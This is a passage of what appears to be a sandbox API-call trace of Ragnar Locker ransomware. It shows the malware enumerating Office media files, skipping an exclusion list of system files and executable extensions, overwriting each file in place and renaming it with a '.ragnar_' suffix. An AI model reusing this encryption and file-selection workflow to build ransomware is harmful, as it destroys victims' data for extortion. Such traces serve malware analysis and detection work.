(HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.426] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.427] VirtualAlloc (lpAddress=0x0, dwSize=0x1d94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.428] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d94, lpOverlapped=0x0) returned 1 [0095.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.429] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d94, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.429] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d94, lpOverlapped=0x0) returned 1 [0095.429] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.429] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.429] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.429] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.429] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.429] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.429] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.429] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.429] GetProcessHeap () returned 0x580000 [0095.429] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.429] CloseHandle (hObject=0x104) returned 1 [0095.429] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" [0095.430] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.ragnar_FD7BD9FC" [0095.430] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.430] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0095.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.430] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0158007.WMF" | out: lpString1="J0158007.WMF") returned="J0158007.WMF" [0095.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF") returned=".WMF" [0095.430] lstrcmpiW (lpString1="J0158007.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.430] lstrcmpiW (lpString1="J0158007.WMF", lpString2="autorun.inf") returned 1 [0095.430] lstrcmpiW (lpString1="J0158007.WMF", lpString2="boot.ini") returned 1 [0095.430] lstrcmpiW (lpString1="J0158007.WMF", lpString2="bootfont.bin") returned 1 [0095.430] lstrcmpiW (lpString1="J0158007.WMF", lpString2="bootsect.bak") returned 1 [0095.430] lstrcmpiW (lpString1="J0158007.WMF", lpString2="bootmgr") returned 1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="bootmgr.efi") returned 1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="bootmgfw.efi") returned 1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="desktop.ini") returned 1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="iconcache.db") returned 1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="ntldr") returned -1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="ntuser.dat") returned -1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="ntuser.dat.log") returned -1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="ntuser.ini") returned -1 [0095.431] lstrcmpiW (lpString1="J0158007.WMF", lpString2="thumbs.db") returned -1 [0095.431] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.431] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.431] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.431] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.431] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.431] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.431] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf")) returned 0x20 [0095.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.431] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5158) returned 1 [0095.431] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x141d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.432] GetProcessHeap () returned 0x580000 [0095.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.432] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.433] VirtualAlloc (lpAddress=0x0, dwSize=0x1426, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.433] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.433] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.433] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1426, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1426, lpOverlapped=0x0) returned 1 [0095.434] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.434] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1426, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.434] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1426, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1426, lpOverlapped=0x0) returned 1 [0095.434] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1426, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.434] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.435] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1426, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.435] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.435] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.435] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.435] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.435] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.435] GetProcessHeap () returned 0x580000 [0095.435] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.435] CloseHandle (hObject=0x104) returned 1 [0095.435] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" [0095.435] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.ragnar_FD7BD9FC" [0095.435] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.436] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0095.436] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.436] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0183168.WMF" | out: lpString1="J0183168.WMF") returned="J0183168.WMF" [0095.436] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF") returned=".WMF" [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="autorun.inf") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="boot.ini") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="bootfont.bin") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="bootsect.bak") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="bootmgr") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="bootmgr.efi") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="bootmgfw.efi") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="desktop.ini") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="iconcache.db") returned 1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="ntldr") returned -1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="ntuser.dat") returned -1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="ntuser.dat.log") returned -1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="ntuser.ini") returned -1 [0095.436] lstrcmpiW (lpString1="J0183168.WMF", lpString2="thumbs.db") returned -1 [0095.436] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.436] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.436] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.436] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.436] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.436] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.436] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf")) returned 0x20 [0095.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.438] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19768) returned 1 [0095.438] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4d2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.438] GetProcessHeap () returned 0x580000 [0095.438] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.438] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.439] VirtualAlloc (lpAddress=0x0, dwSize=0x4d38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.439] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.439] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.439] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4d38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4d38, lpOverlapped=0x0) returned 1 [0095.440] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.440] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4d38, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.440] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4d38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4d38, lpOverlapped=0x0) returned 1 [0095.441] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4d38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.441] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.441] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4d38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.441] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.441] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.441] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.441] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.441] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.441] GetProcessHeap () returned 0x580000 [0095.441] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.441] CloseHandle (hObject=0x104) returned 1 [0095.441] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" [0095.441] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.ragnar_FD7BD9FC" [0095.441] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.442] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0095.442] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.442] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0183290.WMF" | out: lpString1="J0183290.WMF") returned="J0183290.WMF" [0095.442] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF") returned=".WMF" [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="autorun.inf") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="boot.ini") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="bootfont.bin") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="bootsect.bak") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="bootmgr") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="bootmgr.efi") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="bootmgfw.efi") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="desktop.ini") returned 1 [0095.442] lstrcmpiW (lpString1="J0183290.WMF", lpString2="iconcache.db") returned 1 [0095.443] lstrcmpiW (lpString1="J0183290.WMF", lpString2="ntldr") returned -1 [0095.443] lstrcmpiW (lpString1="J0183290.WMF", lpString2="ntuser.dat") returned -1 [0095.443] lstrcmpiW (lpString1="J0183290.WMF", lpString2="ntuser.dat.log") returned -1 [0095.443] lstrcmpiW (lpString1="J0183290.WMF", lpString2="ntuser.ini") returned -1 [0095.443] lstrcmpiW (lpString1="J0183290.WMF", lpString2="thumbs.db") returned -1 [0095.443] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.443] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.443] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.443] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.443] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.443] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.443] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf")) returned 0x20 [0095.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.443] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28696) returned 1 [0095.443] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x700f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.443] GetProcessHeap () returned 0x580000 [0095.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.444] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.445] VirtualAlloc (lpAddress=0x0, dwSize=0x7018, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.445] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.445] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.445] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7018, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7018, lpOverlapped=0x0) returned 1 [0095.446] SetFilePointerEx (in: hFile=0x104, 